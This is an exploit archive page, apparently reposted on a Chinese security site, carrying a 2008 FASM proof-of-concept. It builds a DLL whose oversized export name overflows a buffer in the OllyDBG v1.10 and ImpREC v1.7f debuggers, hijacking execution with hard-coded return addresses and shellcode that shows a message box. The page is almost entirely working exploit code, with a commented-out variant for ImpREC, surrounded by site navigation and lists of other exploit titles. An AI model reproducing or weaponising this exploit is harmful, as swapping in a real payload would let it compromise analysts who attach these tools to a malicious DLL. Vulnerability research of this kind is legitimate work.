• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC

OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC ,其中包含ollydbg v1.10,imprec,迷雾森林v1.10,phoenixsuit v1.10,口袋少女汉化版 v1.10等知识点,遇到此问题的同学们可以参考下
;-------------------------------------------------------------------------;
; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability
; PoC (probably older versions affected too, not tested though.)
;
; Included shellcode shows a messagebox (WinXP SP2) and is configured for
; OllyDBG. See lines 60-105 for more details
;-------------------------------------------------------------------------;
; Usage:
; Load this DLL to your process and try to attach OllyDBG or ImpREC
; to it -> Shellcode executed >:)
;
; Shellcode gets fired also if program is run under OllyDBG.
;
; Bug discovered and PoC coded by:
; ~ Defsanguje, Defsanguje [at] gmail [dot] com [July 7 2008]
;-------------------------------------------------------------------------;
; Coded in FASM
;-------------------------------------------------------------------------;

format PE GUI 4.0 DLL

include 'win32a.inc'
entry DllEntryPoint

section '.code' code readable executable

proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved
mov eax, TRUE
ret
endp

;-------------------------------------------------------------------------;
; Modified version from original export-macro.
;-------------------------------------------------------------------------;
macro ExportExploit dllname,[label]
{ common
local module,addresses,names,ordinal,count
count = 0
forward
count = count 1
common
dd 0,0,0,RVA module,1
dd count,count,RVA addresses,RVA names,RVA ordinal
addresses:
forward
dd RVA label
common
names:
forward
local name
dd RVA name
common
ordinal: count = 0
forward
dw count
count = count 1
common
module db dllname,0
forward

;-------------------------------------------------------------------------;
; Exploit for OllyDBG v1.10
;-------------------------------------------------------------------------;
a: name\
db 3e0h dup (90h)
dd 6d553b78h ; ESP to EBP
dd 6d55e5ffh ; EBP to EAX
dd 0defdefdeh
dd 0defdefdeh
dd 6d56d25eh ; add eax, 40h
dd 0defdefdeh
dd 6d52e1efh ; jmp EAX =)
db 40h-18h dup(90h)
c: push eax
mov eax, (ShellCodeStart-c) xor 0defdefdeh
xor eax, 0defdefdeh
add eax, [esp]
jmp eax
b: db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)

ShellCodeStart:
db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2
db 0FFh,0D3h
ShellCodeEnd:
dd 0045F823h ; New EIP

db 300h dup(90h)
db 0

;-------------------------------------------------------------------------;
; Exploit for ImpREC v1.7f
;-------------------------------------------------------------------------;
; name\
; db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)
;ShellCodeStart:
; db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
; db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
; db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2
; db 0FFh,0D3h
;ShellCodeEnd:
; dd 12c1b8h ; New EIP
; db 0
;-------------------------------------------------------------------------;

common
local x,y,z,str1,str2,v1,v2
x = count shr 1
while x > 0
y = x
while y < count
z = y
while z-x >= 0
load v1 dword from names z*4
str1=($-RVA $) v1
load v2 dword from names (z-x)*4
str2=($-RVA $) v2
while v1 > 0
load v1 from str1 %-1
load v2 from str2 %-1
if v1 <> v2
break
end if
end while
if v1<v2
load v1 dword from names z*4
load v2 dword from names (z-x)*4
store dword v1 at names (z-x)*4
store dword v2 at names z*4
load v1 word from ordinal z*2
load v2 word from ordinal (z-x)*2
store word v1 at ordinal (z-x)*2
store word v2 at ordinal z*2
else
break
end if
z = z-x
end while
y = y 1
end while
x = x shr 1
end while }

section '.edata' export data readable
;-------------------------------------------------------------------------;
; Call the macro
;-------------------------------------------------------------------------;
ExportExploit 'exploit.dll',\
$

;-------------------------------------------------------------------------;
</div>

您可能想查找下面的文章:

  • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC

相关文章

  • Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)
  • Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit
  • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
  • WS_FTP Home/Professional FTP Client Remote Format String PoC
  • MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit
  • Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
  • DESlock
  • Ultra Office ActiveX Control Remote Buffer Overflow Exploit
  • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)
  • Galatolo Web Manager 1.3a

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)
    • moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit
    • WarFTP 1.65 (USER) Remote Buffer Overlow Exploit
    • The Personal FTP Server 6.0f RETR Denial of Service Exploit
    • CJ Ultra Plus
    • Comdev Web Blogger
    • Simple PHP Blog (SPHPBlog)
    • MojoClassifieds 2.0 Remote Blind SQL Injection Exploit
    • e107 Plugin BLOG Engine 2.2 Blind SQL Injection Exploit
    • Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有